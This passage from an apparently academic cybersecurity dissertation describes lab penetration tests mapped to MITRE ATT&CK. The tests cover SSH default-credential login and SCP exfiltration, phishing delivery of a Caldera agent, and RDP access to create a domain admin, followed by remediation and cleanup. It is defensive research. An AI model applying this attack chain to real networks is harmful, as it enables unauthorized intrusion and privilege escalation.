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[bookmark: _Toc173941022][bookmark: _Toc175171149]Figure 99 Kali Linux - Metasploit SSH Login Succeeded

SSH access is gained successfully from Kali Linux VM using default credentials, confirming login to the Metasploitable VM depicted in Figure 100. Validating default credentials enables initial access and verifies weak security controls.
Tactic: Initial Access
Technique: Valid Accounts - Default Accounts [T1078.001]

Successful privilege escalation is achieved using “sudo su” command, gaining root access on the system as illustrated in Figure 100. Gaining root access via “sudo” exposes privilege escalation vulnerabilities for testing.
Tactic: Privilege Escalation
Technique: Abuse Elevation Control Mechanism - Sudo and Sudo Caching [T1548.003]
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[bookmark: _Toc173941023][bookmark: _Toc175171150]Figure 100 Kali Linux - SSH Login Command Output
Successfully have accessed the local file share on Metasploitable VM with root privileges as in Figure 101. Accessing local file shares with root privileges reveals data collection vulnerabilities.
Tactic: Collection
Technique: Data from Local System [T1005]

SCP with default credentials successfully downloaded files to Kali Linux VM, confirming access to Metasploitable VM’s file system in Figure 101. This helps pentesters evaluate data exfiltration risks, test security controls, and identify vulnerabilities in default configurations, enhancing overall security posture.
Tactic: Exfiltration
Technique: Exfiltration over C2 Channel [T1041]
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[bookmark: _Toc173941024][bookmark: _Toc175171151]Figure 101 Kali Linux - SCP Access Successful

The credential access attack scenario concludes with successful exploitation using default credentials, privilege escalation to root, and data collection from the local file share, demonstrating critical security weaknesses.

[bookmark: _Toc175413687]Reporting
Reports detail vulnerabilities, their severity, successful exploits, and guide stakeholders in prioritizing remediation efforts. We are summarizing here, the below phases in VAPT methodology
· Result Analysis
· Reporting
· Cleanup
Result Analysis: 
The result analysis phase in VAPT with MITRE ATT&CK framework helps pentesters identify critical vulnerabilities and refine testing strategies, providing companies with actionable insights to enhance security and mitigate risks effectively. The vulnerability implications from DoS, SMB, and SSH attack scenarios highlight critical security gaps:
DoS Attack: The SYN flood attack revealed system availability issues, with defensive responses showing a need for better DoS mitigation strategies.
SMB Attack: Exploitation of SMB services (ports 139, 445) allowed unauthorized file access and lateral movement, emphasizing the need for improved SMB security and patch management.
SSH Login Attack: Exploiting weak default credentials led to unauthorized SSH access, privilege escalation, and data extraction, underscoring the necessity for robust authentication and privilege management controls.
These findings stress the importance of enhancing security measures and proactive vulnerability management.
Reporting:
The reporting phase in VAPT helps pentesters document findings clearly and comprehensively, enabling companies to understand vulnerabilities, prioritize remediation, and improve overall security posture. Here are the outcomes of the attacks,
DOS Attack: The Windows 10 Home VM sends RST packets, terminating connections, indicating no DoS vulnerability exploitation.
SMB Attack: Successfully uploaded a file to the "share" folder on Windows 10 Home VM, confirming write access via SMB as shown in Figure 102.
SSH Login Attack: Successfully downloaded a file to Kali Linux VM, confirming access to the Metasploitable VM using SSH as shown in Figure 103.
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[bookmark: _Toc173941025][bookmark: _Toc175171152]Figure 102 Windows 10 Home - SMB File Share Upload Output
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[bookmark: _Toc173941026][bookmark: _Toc175171153]Figure 103 Kali Linux - SCP File Download Output

Implement fixes, patches, and monitor continuously for long-term security. Here are the steps to be taken to remediate these attacks:
DOS Attack: No remediation needed; Windows handled attack.
SMB Attack Remediation:
· Restrict write permissions and secure SMB shares.
· Remove the unwanted files and directories.
· Enable firewalls at all times.
· Use strong passwords
· Apply security patches
· Implement Network Segmentation
SSH Login Attack Remediation:
· Enforce complex passwords.
· Use public/private key pairs.
· Block after failed attempts.
· Disable Root logins
· Apply patches and updates
· Track and Review access
· Disconnect unauthorized sessions as in Figure 105.

Cleanup:
The cleanup phase in VAPT removes any test-related changes, ensuring systems return to normal, preventing unintended disruptions, and maintaining security integrity.

SMB Attack:
The uploaded file on Windows 10 Home was deleted from the folder – “share” as shown in Figure 104.
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[bookmark: _Toc173941027][bookmark: _Toc175171154]Figure 104 Windows 10 Home - SMB File Share Access Control

SSH Login Attack:
The SSH session was disconnected from the Metasploitable VM as in Figure 105.
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[bookmark: _Toc173941028][bookmark: _Toc175171155]Figure 105 Kali Linux - SSH Session Logout

[bookmark: _Toc175413688]Summary
The inclusion of the MITRE ATT&CK framework in the VAPT methodology has significantly enhanced the scope of future penetration testing. By aligning the testing process with specific real-world attack vectors, such as DoS attacks, SMB attacks, and SSH brute-force attempts, this approach has uncovered crucial vulnerabilities that were previously overlooked.
The DoS attack scenario demonstrated the system's resilience, as it managed to terminate malicious connections using RST packets. This finding highlights the need for continuous refinement of network defenses and the importance of considering potential anomalies during scope evaluations.
The successful SMB attack, which allowed unauthorized file uploads to the Windows 10 Home VM, underscores the necessity of securing SMB shares and implementing stronger access controls. Future penetration tests should prioritize testing for SMB vulnerabilities and assess the effectiveness of network segmentation.
Lastly, the SSH login attack, though initially hindered by timeouts, ultimately succeeded using default credentials, pointing to weaknesses in credential management. Future tests should focus on improving password policies and connection stability, ensuring a more robust security posture.
By incorporating these findings, scope of future penetration tests are more comprehensively covered, leading to better-targeted remediation strategies and a stronger overall security posture.

[bookmark: _Toc174391393][bookmark: _Toc175413689]Windows Domain Test Scenario
Figure 106 shows the network setup where penetration testing utilizes Kali Linux and rogue Windows VMs to target Windows 2019 and Windows 10 Pro VMs which are under the same domain. The VAPT methodology, with MITRE ATT&CK integration, ensures thorough testing of security vulnerabilities.
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[bookmark: _Toc175171156]Figure 106 Windows Domain Test Setup

[bookmark: _Toc175413690]Vulnerability Assessment
Vulnerability assessment analyzes system weaknesses to preemptively address potential threats, focusing on information gathering to uncover and fortify vulnerabilities, enhancing overall security to businesses. Key phases from VAPT includes,
· Scope
· Reconnaissance
· Vulnerability Detection
· Information Analysis and Planning


Scope:
The scope phase in VAPT defines assessment boundaries and rules, helping pentesters focus efforts and ensuring stakeholder agreement on testing parameters. "Ifconfig" helps identify network interfaces and IP addresses, crucial for passive reconnaissance, as depicted in Figure 107.
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[bookmark: _Toc173941029][bookmark: _Toc175171157]Figure 107 Kali Linux - Ifconfig Output


Reconnaissance:
Reconnaissance helps pentesters gather crucial data for targeted testing, while benefiting stakeholders by aligning on objectives and risk priorities. “Netdiscover” scans the network 192.168.56.0/24 and finds three hosts. “Nmblookup” identifies two hosts, Sakthi-PC and DC-Server, within the same group, UWTSD but domain name resolution fails as shown in Figure 108.
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[bookmark: _Toc173941030][bookmark: _Toc175171158]Figure 108 Kali Linux - Active Reconnaissance Tools


Vulnerability Detection:
Vulnerability detection helps pentesters identify weaknesses to address, benefiting stakeholders by revealing security gaps and prioritizing remediation efforts. Active reconnaissance and OpenVAS scans of subnet 192.168.56.0/25 found no major vulnerabilities as in Figure 109. OpenVAS’s detailed reports are essential for comprehensive assessment and issue analysis.
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[bookmark: _Toc173941031][bookmark: _Toc175171159]Figure 109 Kali Linux - OpenVas Scan Results

Information Analysis and Planning:
In the information analysis and planning phase, pentesters analyze network data and plan attacks, while stakeholders gain clarity on threat identification and remediation priorities. Tools like “Netdiscover” and “Nmblookup” reveal network hosts and domains, guiding targeted assessments.

[bookmark: _Toc175413691]Penetration Testing
Penetration testing uncovers vulnerabilities to strengthen the security posture. Incorporating the MITRE ATT&CK framework into VAPT's penetration testing enhances threat detection and precision by emulating adversary tactics, which aids penetration testers in identifying vulnerabilities and bolstering Windows Domain security.
Caldera, from MITRE ATT&CK, uses the Sandcat agent to launch ransomware attacks, with Sandcat being a password-protected executable file.
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[bookmark: _Toc173941032][bookmark: _Toc175171160]Figure 110 Kali Linux - Caldera Sandcat Agent

[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\Sandcat-Capture8.JPG]
[bookmark: _Toc173941033][bookmark: _Toc175171161]Figure 111 Kali Linux - Password-protected RAR File Creation

A phishing email with instructions successfully delivered and executed the Sandcat agent, leveraging social engineering as shown in Figure 112. Phishing enables initial access, allowing pentesters to test network defenses.
Tactic: Initial Access 
Technique: Phishing - Spearphishing Attachment [T1566.001]
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[bookmark: _Toc173941034][bookmark: _Toc175171162]Figure 112 Windows 10 Pro - Spearphishing Email Access




Windows 10 Pro VM in Domain, verified via nslookup, allows file download, unzip, and execution with admin rights, achieving privilege escalation as illustrated in Figure 113. Privilege escalation tactics help pentesters gain elevated access for thorough testing.
Tactic: Privilege Escalation
Technique: Abuse Elevation Control Mechanism - Sudo and Sudo Caching [T1548.003]
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[bookmark: _Toc173941035][bookmark: _Toc175171163]Figure 113 Windows 10 Pro – Caldera Sandcat Agent Execution


After executing the Sandcat agent with administrator rights, it establishes a connection back with Caldera on the Kali Linux VM as in Figure 114. Command and Control tactics enable pentesters to verify system communication.
Tactic: Command and Control
Technique: Application Layer Protocol - Web Protocols [T1071.001]
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[bookmark: _Toc173941036][bookmark: _Toc175171164]Figure 114 Kali Linux – Caldera Sandcat Agent Deployed

In Caldera, a "Windows Discovery" operation is set under the "Discovery" adversary group, running autonomously as in Figure 115. The jitter setting, adjusted to 10/30, controls the timing of operation requests to simulate more random, less predictable behavior.
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[bookmark: _Toc173941037][bookmark: _Toc175171165]Figure 115 Kali Linux - Caldera Discovery Operation Creation

The Discovery Operation identifies active users, the domain controller IP, local users, running processes, and active firewalls on the Windows 10 Pro VM, which is part of the Windows domain as illustrated in the below figures. Discovery tactics help pentesters map networks and identify vulnerabilities.
Tactic: Discovery
Technique: Network Service Discovery [T1046]
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[bookmark: _Toc173941038][bookmark: _Toc175171166]Figure 116 Kali Linux - Calera - Windows 10 Pro Username
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[bookmark: _Toc173941039][bookmark: _Toc175171167]Figure 117 Kali Linux - Calera - Domain Controller Details



[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\Sandcat-Capture15.JPG]
[bookmark: _Toc173941040][bookmark: _Toc175171168]Figure 118 Kali Linux - Calera Discovery Operation Output





RDP session with the domain controller was successfully established using the found IP address and username as the password, demonstrating successful unauthorized access to the domain controller as in Figure 120. 
Tactic: Lateral Movement
Technique: Remote Services – Remote Desktop Protocol [T1021.001]
This tactic aids pentesters by simulating unauthorized remote access, revealing vulnerabilities.
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[bookmark: _Toc173941041][bookmark: _Toc175171169]Figure 119 Rogue Windows 10 Home - Ifconfig Output
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[bookmark: _Toc173941042][bookmark: _Toc175171170]Figure 120 Rogue Windows 10 Home - RDP Session User Creation

A new user account was created on the domain controller during the RDP session, indicating successful unauthorized access in Figure 120. This tactic shows pentesters how attackers maintain access, revealing persistence vulnerabilities.
Tactic: Persistence
Technique: Create Account – Domain Account [T1136.002]



The account was modified to become a domain admin, granting elevated privileges and full control as shown in Figure 121. Reveals how attackers elevate permissions, helping pentesters identify privilege escalation vulnerabilities.
Tactic: Privilege Escalation
Technique: Account Manipulation [T1098]
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[bookmark: _Toc173941043][bookmark: _Toc175171171]Figure 121 Rogue Windows 10 Home - RDP Session Domain Admin Privileges

[bookmark: _Toc175413692]Reporting
Reporting details vulnerabilities, their severity, and exploitation attempts, aiding stakeholders in understanding and addressing security gaps for improved posture. Here, we provide a summary of the phases in the VAPT methodology. 
· Result Analysis
· Reporting
· Cleanup

Result Analysis:
Result analysis with MITRE ATT&CK helps pentesters identify specific attack vectors, improving threat assessment and providing stakeholders actionable security insights as,
Unauthorized access to the domain controller:  Enables attackers to manipulate accounts, escalate privileges, and gain full control, compromising system integrity and security. This can lead to severe breaches, including data loss, unauthorized access, and system disruption.

Reporting:
Reporting analysis with MITRE ATT&CK provides detailed insights into attack methods, helping pentesters offer precise remediation and stakeholders understand threats. 
Unauthorized access to the domain controller:  Demonstrated critical vulnerabilities, highlighting the need for improved access controls and monitoring to prevent elevated privilege escalation and potential data breaches.
The newly created domain admin account “akumar” allows RDP access to the domain controller from rogue machines, validating the penetration test's effectiveness by demonstrating unauthorized privilege escalation as in Figure 122.
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[bookmark: _Toc173941044][bookmark: _Toc175171172]Figure 122 Rogue Windows 10 Home - RDP Session Using New User Account

Remediation steps involve applying fixes, patches, and configuration changes to address vulnerabilities. Continuous monitoring and patch management ensure ongoing defense and long-term security improvements against emerging threats.
Sandcat Agent Attack Remediation: 
· Delete Compromised Accounts
· Disconnect Unauthorized Sessions
· Apply Security patches and Software updates
· Configure Firewalls
· Implement Multi-Factor Authentication (MFA)
· Conduct regular Security Training
· Perform regular Security audits


Cleanup:
The cleanup phase removes testing artifacts, ensuring system integrity, and prevents disruptions, helping pentesters and protecting stakeholders from residual risks.
The unauthorized user has been removed from the domain controller's user management system as shown in Figure 123.
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[bookmark: _Toc173941045][bookmark: _Toc175171173]Figure 123 Rogue Windows 10 Home - Unauthorized User Account Deletion

The RDP session has been terminated from the domain controller as in Figure 124.
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[bookmark: _Toc173941046][bookmark: _Toc175171174]Figure 124 Rogue Windows 10 Home - RDP Session Disconnected

[bookmark: _Toc175413693]Summary
The experimental project revealed several critical findings and outcomes that can significantly enhance the scope reevaluation process for future penetration tests. By integrating the MITRE ATT&CK framework with the VAPT methodology, the project demonstrated an improved capability to identify gaps that traditional methods might overlook. Specifically, the failure of domain name resolution, as expected, emphasized the necessity of validating network configurations and considering potential anomalies within the network environment.
To strengthen future scope reevaluations, it’s vital to adopt a dynamic approach that allows for real-time adjustments based on reconnaissance findings. This includes refining network scanning techniques and expanding the scope to encompass previously overlooked targets and unexpected network behaviors. Continuous monitoring, iterative testing, and the incorporation of feedback loops will refine testing accuracy, and strengthening domain controller security with multi-factor authentication will better protect against unauthorized access. This approach ensures more comprehensive vulnerability identification and a stronger security posture.
[bookmark: _Toc174391394][bookmark: _Toc175413694]Evaluation
Embedding MITRE ATT&CK into VAPT allows organizations to achieve broad coverage of attack vectors, align with industry-standard adversary techniques and current threat intelligence, and swiftly adapt to evolving attack trends. It improves communication with stakeholders by mapping findings to a recognized framework, making it easier to understand and prioritize risks. Streamlined testing efforts increase efficiency by focusing on the most relevant and impactful attack techniques, saving time and resources.
The literature review illustrates that Vulnerability Assessment and Penetration Testing (VAPT) effectively identifies and mitigates system vulnerabilities using tools like Metasploit and Nmap. VAPT strengthens cybersecurity. Penetration Testing Methodology emphasizes a structured approach with reconnaissance, vulnerability scanning, exploitation, and reporting phases improving security. The use of a Raspberry Pi with Kali Linux demonstrated cost-effective, versatile testing capabilities. Detailed reporting and post-test cleanup ensure comprehensive security insights and system restoration.
Reverse TCP shells: The study demonstrated Metasploit's effectiveness in exploiting Windows and Mac OS vulnerabilities to establish persistent, remote access to compromised systems, underscoring the importance of continuous VAPT and comprehensive reporting for robust security.
VSFTP backdoor exploits: Successfully exploited VSFTP vulnerabilities using Metasploit, achieving unauthorized access and demonstrating the effectiveness of continuous VAPT for identifying and exploiting security weaknesses.
Webmin backdoor: The study effectively used a Raspberry Pi with Kali Linux for penetration testing, revealing critical vulnerabilities, such as remote code execution. Exploitation via Metasploit demonstrated severe risks, emphasizing the platform's credibility in comprehensive security assessment
From the literature review, the VAPT methodology, through its structured phases and tools, provides comprehensive security assessments, identifies and mitigates vulnerabilities, and ensures robust reporting. This approach enhances stakeholders' confidence by improving security measures and demonstrating effective, cost-efficient testing. Table 1 shows that the VAPT methodology includes distinct stages—Scope, Reconnaissance, Vulnerability Detection, Information Gathering, Penetration Testing, Privilege Escalation, and Reporting. 
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The table 2 illustrates that integrating MITRE ATT&CK into VAPT methodology enriches penetration testing by mapping attacks to specific tactics and stages. This integration enhances the comprehensiveness of vulnerability assessments and reporting, providing detailed insights and improving the accuracy and effectiveness of threat detection and remediation thereby strengthening overall cybersecurity. The experimental study investigated DOS attack, Samba file share access, SSH login attempts, and unauthorized access to a Domain Controller, revealing critical insights into system vulnerabilities and their exploitability.
DOS Attack: The study demonstrated how a SYN flood attack could be mitigated by robust defense mechanisms within the target system but ongoing improvements are essential for maintaining resilience. The experiment revealed that while the system's defenses were effective, a real-world scenario could still lead to temporary disruptions. This differs from literature where the focus is often on detecting vulnerabilities rather than evaluating defense effectiveness.
Samba File Share Access: Unauthorized file uploads indicated weak access controls in Samba services, stressing the importance of strong permissions and security measures. This practical scenario differs from literature, which often highlights theoretical vulnerabilities rather than practical exploit outcomes
SSH Login Attempt: Exploiting default credentials revealed the critical need for robust password policies and disabling root logins. This practical finding diverges from literature that focuses on automated vulnerability detection without addressing specific exploits and its impacts from using default credentials.
Unauthorized Access to Domain Controller: This experiment exposed inadequate access controls and weak privilege management, highlighting the necessity for stringent authentication measures and regular monitoring to prevent unauthorized access, unlike literature that often generalizes vulnerabilities, this study provides specific recommendations for enhancing domain controller security.
Impact:
DOS attacks can cause service disruptions, Samba exploits can expose sensitive data, SSH exploits can lead to full system control and unauthorized access can compromise critical systems.  Each scenario reveals different aspects of system weaknesses and highlights areas for improvement in security practices.

The cross-sectional study explored DoS attacks, SMB file share access, SSH login attempts, and unauthorized Domain Controller access. It demonstrated the necessity of the MITRE ATT&CK framework for addressing diverse threats. Aligning with the Attack Vector Model, the study defined scope, scanned for vulnerabilities, simulated attacks, and reported findings. This model visually maps potential attack pathways, strategies, and network gaps, offering a structured approach and aids in understanding vulnerabilities, planning defenses, and enhancing overall security by mapping potential threats and responses.

No Vulnerabilities detected
Scope




Reporting
Vulnerability Scanning





Attack Scenario

Network Gaps



Attack Strategy
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Scope:  In the Attack Vector Model, scope defines the assessment’s objectives, boundaries, and rules of engagement, helping companies focus on critical assets and risks. Security professionals organize this by outlining what will be tested, setting engagement rules, and ensuring alignment with business priorities to maximize assessment effectiveness and relevance.
Vulnerability Scanning: Automated tools identify security weaknesses, offering companies insights to address gaps before exploitation. If no vulnerabilities are detected, the scope is reassessed for further testing. When found, security professionals use these findings to organize attack scenarios, simulating potential exploit paths and refining strategies for effective remediation, ensuring comprehensive security coverage and targeted mitigation efforts.
Attack Scenario: The model simulates real-world attack paths from detected vulnerabilities, enabling companies to understand potential threats and impacts. Security professionals analyze scan results to craft realistic attack scenarios, bridging the gap between identifying vulnerabilities and devising strategies, to map out how adversaries might exploit weaknesses, leading to more targeted and effective remediation efforts 
Attack Strategy:  Utilizing the MITRE ATT&CK framework, pentesters align their strategies with real-world adversary behaviors, exploiting identified vulnerabilities. This approach simulates sophisticated attacks, offering companies realistic insights into potential impacts, refining defenses, and enhancing remediation plans based on detailed, framework-driven analysis of tactics, techniques, and procedures.
Network Gaps:  Analyzes security weaknesses revealed by attack strategies and scenarios, helping companies identify critical vulnerabilities and improve defenses. Pentesters use parameters like attack vectors, exploited techniques, and access levels to pinpoint these gaps. By understanding how attacks succeed, they can refine remediation efforts, address specific weaknesses, and enhance overall security posture in penetration testing activities, ensuring more robust protection against real-world threats.
Reporting: The reporting stage in penetration testing is vital for improving company’s security posture. It involves in reviewing vulnerability scans, attack scenarios, analyzing exploited attack vectors and network gaps, providing actionable insights for prioritizing risks and refining future test scopes. This stage aids compliance, enhances stakeholder confidence, and supports ongoing security improvements by ensuring targeted remediation, addressing evolving threats, and reducing breach risks and associated costs.



Scope: Reassessing and refining the scope based on reporting insights enhances the VAPT methodology by ensuring comprehensive coverage of new and emerging threats, improving vulnerability detection and response, which results in aligning with the latest threat landscape and network configurations. Integration with MITRE ATT&CK provides stakeholders with realistic threat scenarios, aligning remediation efforts with actual risks, improving security posture, and ensuring more targeted, effective protection. 
The iterative model benefits pentesters by continuously revisiting or refining the scope to address previously missed, new and evolving threats to ensure all the critical areas are tested. This approach enhances security assessments by incorporating new findings, improving coverage, and adapting strategies for more accurate and comprehensive evaluations. It ensures continuous, dynamic adjustment and effective security measures are aligned with real-world attack scenarios so that penetration testing remains current, comprehensive and effective. 

Efficiency Factors:
The integration of MITRE ATT&CK with the VAPT methodology through the Attack Vector Model introduces several qualitative and quantitative parameters that enhance the effectiveness and depth of security assessments,
Qualitative Parameters:
Comprehensive Coverage: Expanded with MITRE ATT&CK to include diverse tactics and techniques, improving overall threat coverage.
Realism of Scenarios: Improved by incorporating real-world attacker behavior, aligning more closely with actual threat landscapes.
Stakeholder Satisfaction: Enhanced through clearer, more relevant reporting and targeted remediation aligned with genuine risks.
Adaptability and Flexibility: Increased by continuously refining scope and tactics in response to new and evolving threats.
Compliance Alignment: More robust, ensuring alignment with industry standards and regulatory requirements.

Depth of Analysis: Delivers deeper insights into vulnerabilities and their exploitability, offering detailed remediation strategies.
Real-Time Feedback: The iterative approach provides real-time feedback, continuously refining testing strategies and improving the relevance and accuracy of security assessments.
Comprehensive Reporting: Detailed reporting on vulnerabilities, exploitation techniques, and recommended mitigations provided deeper insights into security postures.
Quantitative Parameters:
Vulnerabilities Detection: Increased with more thorough assessments using MITRE ATT&CK.
Response Time: Real-time adjustments improve overall efficiency, reducing time required to identify and exploit vulnerabilities.
Success Rate of Exploits: Higher success rates in exploiting vulnerabilities, validating findings through practical tests.
Time to Detect and Remediate: Potentially improved as threats are more accurately identified and prioritized.
Coverage Percentage: Expanded due to broader attack surface analysis.
False Positive/Negative Rates: Potentially reduced, as the model allows for more precise threat identification.
Impact Assessment: Enhanced with detailed understanding of threat impact, improving prioritization of remediation efforts.
The cross-sectional study explored various attack strategies, including DoS attacks, SMB file share access, SSH login attempts, and Domain Controller breaches, revealing diverse impact levels and exploitability. The study emphasized that while qualitative and quantitative data are valuable, they are insufficient alone to calculate and draw any definitive patterns, especially given the complexity and variety of attack scenarios tested. Each attack scenario highlighted that integrating MITRE ATT&CK into VAPT refines the methodology, providing a structured approach to effectively identify and mitigate real-world threats.
The Attack Vector Model enhances VAPT by structuring real-world attack simulations and integrating MITRE ATT&CK for detailed threat modeling. It ensures comprehensive scope definition, realistic vulnerability scanning, and precise exploit path modeling, aligning with adversary tactics, techniques, and procedures. This approach improves accuracy, coverage, and actionable insights, strengthening overall security posture and optimizing risk management.
Pentesters can leverage VAPT with the Attack Vector Model by understanding various attack vectors and integrating MITRE ATT&CK to simulate real-world scenarios. Key practices include defining a clear scope, conducting thorough scans, and modeling realistic exploit paths, which enhances vulnerability assessment accuracy and effectiveness. Continuous analysis and refinement based on findings will enhance accuracy and coverage thereby improving the effectiveness of vulnerability assessments.
This model also benefits researchers to simulate real-world attack paths and by integrating MITRE ATT&CK for detailed threat modeling. It enhances understanding of threat dynamics, improves precision in vulnerability assessments, and supports iterative refinement of testing strategies. This approach ensures accurate, actionable insights into exploitability and network gaps, advancing academic knowledge and practical security solutions.
Incorporating the MITRE ATT&CK framework allows VAPT to simulate real-world attack techniques and scenarios. This structured approach enables the methodology to identify and address potential gaps in network defenses that traditional methods might miss. The integration provides structured, dynamic testing strategies that adapt to evolving attack vectors and emerging threats by significantly improving efficiency and accuracy.

[bookmark: _Toc175413695]Conclusion
Integrating the MITRE ATT&CK framework into VAPT significantly improves penetration testing by aligning real-world attack tactics with specific stages and techniques. The experimental study confirms that this method broadens the scope of security assessments by reviewing diverse attack vectors. By providing a structured approach, it enhances the precision of threat detection and remediation. The integration ensures comprehensive testing that adheres to industry-standard adversary tactics, which improves stakeholder communication and delivers actionable insights. Furthermore, this approach, when combined with the Attack Vector Model, strengthens overall cybersecurity resilience and refines risk management strategies, leading to more effective and robust security measures.

[bookmark: _Toc174391395][bookmark: _Toc175413696]Conclusion and Recommendations
[bookmark: _Toc174391396][bookmark: _Toc175413697]Summary
Vulnerability Assessment and Penetration Testing (VAPT) focuses on discovering security weaknesses. There are challenges like limited scope and high costs, incorporating the MITRE ATT&CK framework can significantly improve the effectiveness of VAPT. This integration is set to improve threat detection, addresses testing gaps, and strengthens cybersecurity defenses against sophisticated threats, ensuring more comprehensive protection.
Expanding the scope to include MITRE ATT&CK tactics like exfiltration and lateral movement enhances VAPT effectiveness. This approach helps organizations better detect, respond to, and mitigate sophisticated attacks. Incorporating MITRE ATT&CK into VAPT also improves communication with stakeholders by mapping vulnerabilities to a recognized framework, making risk prioritization clearer. Additionally, it enables continuous improvement by adapting to evolving threats, ensuring comprehensive and up-to-date security assessments.
The research evaluates hypotheses by merging the MITRE ATT&CK framework with VAPT methodologies, employing a positivist and deductive approach. It generates empirical insights into cybersecurity weaknesses and attack scenarios. Utilizing tools such as Nmap, Metasploit, and Wireshark within Oracle Virtual Box, the framework assesses attack vectors and mitigation strategies, providing dependable and actionable insights to bolster security resilience.
Virtual machines are configured in Oracle Virtual Box, including Metasploitable 2, Kali Linux, Ubuntu 24 LTS, Windows 10 Home, and Windows Server 2019, for a detailed VAPT environment. Host-only adapter and internal network settings simulate an isolated network. Integrating Metasploit, Caldera, and MITRE ATT&CK enhances testing realism. This setup facilitates thorough vulnerability assessment, exploitation, and remediation, ensuring a robust cybersecurity evaluation. The approach emphasizes a methodical and iterative process in enhancing security posture.
The cross-sectional study investigated a range of attack strategies, such as DoS attacks, SMB file sharing access, SSH login attempts, and breaches of the Domain Controller. Through experimental study, integrating MITRE ATT&CK into VAPT refines penetration testing phase in VAPT by aligning real-world attack tactics, broadening assessment scope, and improving threat detection. This approach, combined with the Attack Vector Model, provides a structured approach, enhances accuracy, stakeholder communication, and overall cybersecurity resilience, optimizing risk management and security measures.

[bookmark: _Toc174391397][bookmark: _Toc175413698]Conclusion
Integrating MITRE ATT&CK with VAPT enhances penetration testing by covering advanced tactics and broadening the assessment scope. Using tools like Nmap and Metasploit within Oracle Virtual Box, this approach improves precision of threat detection, remediation and addresses gaps, strengthening cybersecurity. The iterative nature of the Attack Vector Model refines the scope continuously, ensuring coverage of diverse and evolving attack vectors. This method provides actionable insights for pentesters, supports researchers in understanding threats, and improves stakeholder communication with structured findings. Overall, it optimizes risk management strategies and ensures comprehensive protection against emerging threats, enhancing overall cybersecurity resilience.

[bookmark: _Toc174391398][bookmark: _Toc175413699]Recommendations for further Research
The integration of MITRE ATT&CK into VAPT has proven effective, but there are opportunities for improvement. Refining scope management by dynamically adjusting it based on real-time findings and incorporating automated tools for continuous monitoring could enhance assessment thoroughness. This approach would help ensure vulnerabilities are not missed, particularly in complex network environments.
Future research should emphasize tracking changes in cybersecurity threats and adaptive measures over time to enhance penetration testing. By monitoring how attacker behaviors and vulnerabilities evolve, these studies can reveal important trends. This ongoing analysis will offer valuable insights for strategic planning and defense enhancements, leading to a deeper understanding of the shifting cybersecurity landscape and improved security measures.
Enhancing VAPT adaptability should focus through AI and machine learning for proactive threat prediction. It should also explore integrating additional frameworks, cloud-based solutions for real-time analysis, and strategies to reduce VAPT's time and resource demands, making it more scalable and accessible.
These recommendations aim to build on the success of this project, ensuring that the integrating MITRE ATT&CK into VAPT methodology remains effective and relevant in an evolving cybersecurity landscape.



[bookmark: _Toc174391399][bookmark: _Toc175413700]Reflection
[bookmark: _Toc174391400][bookmark: _Toc175413701]Introduction
Reflecting on the five objectives, the enhanced VAPT methodology integrated with the MITRE ATT&CK framework has led to substantial improvements in vulnerability detection and mitigation. The process highlighted key learning points and identified areas for future optimization.

[bookmark: _Toc174391401][bookmark: _Toc175413702]Objective 1: Review of VAPT Methodology
The VAPT methodology was reviewed to identify inefficiencies and gaps in traditional approaches. The analysis focused on the effectiveness of each phase, such as vulnerability detection and penetration testing, within the scope of modern cybersecurity challenges. This theoretical review highlighted areas where traditional VAPT methods fall short, particularly in dynamic threat environments, paving the way for the integration of the MITRE ATT&CK framework.
DoS Attack: Failed to detect SYN flood attacks due to limited testing scope and outdated methods.
SMB File Share Access: Overlooked unauthorized access due to weak file permissions and inadequate monitoring.
SSH Login Attempt: Missed vulnerabilities from default credentials, posing severe security risks.
Unauthorized Domain Controller Access: Ineffective detection of privilege escalation attempts, leaving gaps in security.

[bookmark: _Toc174391402][bookmark: _Toc175413703]Objective 2: Re-design VAPT with MITRE ATT&CK Framework
The VAPT methodology was redesigned by incorporating the MITRE ATT&CK framework, which offers a more structured approach to identifying and mitigating threats. This integration enables a more comprehensive evaluation of potential vulnerabilities by aligning penetration testing with real-world attack techniques, ensuring a more robust security posture.
DoS Attack: Integrated MITRE ATT&CK improved SYN flood detection and response strategies.
SMB File Share Access: Enhanced detection of unauthorized file access through refined monitoring techniques.
SSH Login Attempt: Improved identification of risks related to default credentials using MITRE techniques.
Unauthorized Domain Controller Access: Strengthened privilege escalation detection with better integration of MITRE framework.

[bookmark: _Toc174391403][bookmark: _Toc175413704]Objective 3: Analyze Real-World Attack Scenarios
Real-world attack scenarios were analyzed to refine the VAPT scope. This ensured the methodology could address evolving threats and provided a foundation for more effective future penetration testing.
DoS Attack: Focused on real-world SYN flood scenarios to enhance defense mechanisms.
SMB File Share Access: Analyzed impact of weak permissions leading to unauthorized file access.
SSH Login Attempt: Evaluated risks from default credentials in practical scenarios.
Unauthorized Domain Controller Access: Investigated how weak controls enable unauthorized access in real-world settings.

[bookmark: _Toc174391404][bookmark: _Toc175413705]Objective 4: Investigate Attack Strategies and Techniques
This objective was achieved by studying various attack methods, providing a comprehensive understanding of how attackers compromise systems. This knowledge was used to enhance the VAPT methodology.
DoS Attack: Explored effective SYN flood attack strategies to refine detection and mitigation.
SMB File Share Access: Studied exploitation methods targeting weak Samba permissions.
SSH Login Attempt: Investigated attacker techniques exploiting default credentials.
Unauthorized Domain Controller Access: Examined strategies for unnoticed privilege escalation and access.

[bookmark: _Toc174391405][bookmark: _Toc175413706]Objective 5: Evaluate Network Gaps and Scope Re-Evaluation
Network gaps were evaluated to refine the scope of VAPT, ensuring thorough security assessments that adapt to emerging threats.
DoS Attack: Expanded scope for better SYN flood detection and prevention.
SMB File Share Access: Tightened permissions and improved monitoring to prevent unauthorized access.
SSH Login Attempt: Strengthened password policies to mitigate risks from default credentials.
Unauthorized Domain Controller Access: Enhanced monitoring for better detection of unauthorized privilege escalation.

[bookmark: _Toc174391406][bookmark: _Toc175413707]Aim: Improving Scope and the Risk Analysis process of VAPT Methodology
The research underscores the pivotal role of scope in Vulnerability Assessment and Penetration Testing (VAPT), where a limited scope risks missing critical vulnerabilities, leaving untested areas while an overly broad scope raises complexity, costs, and resource demands. To tackle these issues, the study optimized the VAPT methodology by incorporating the MITRE ATT&CK framework, thereby expanding the scope of penetration testing for more precise vulnerability detection and remediation. Enhanced techniques improved responses to diverse attack scenarios, including DoS attacks, SMB file share access violations, SSH login attempts, and unauthorized domain controller access. 
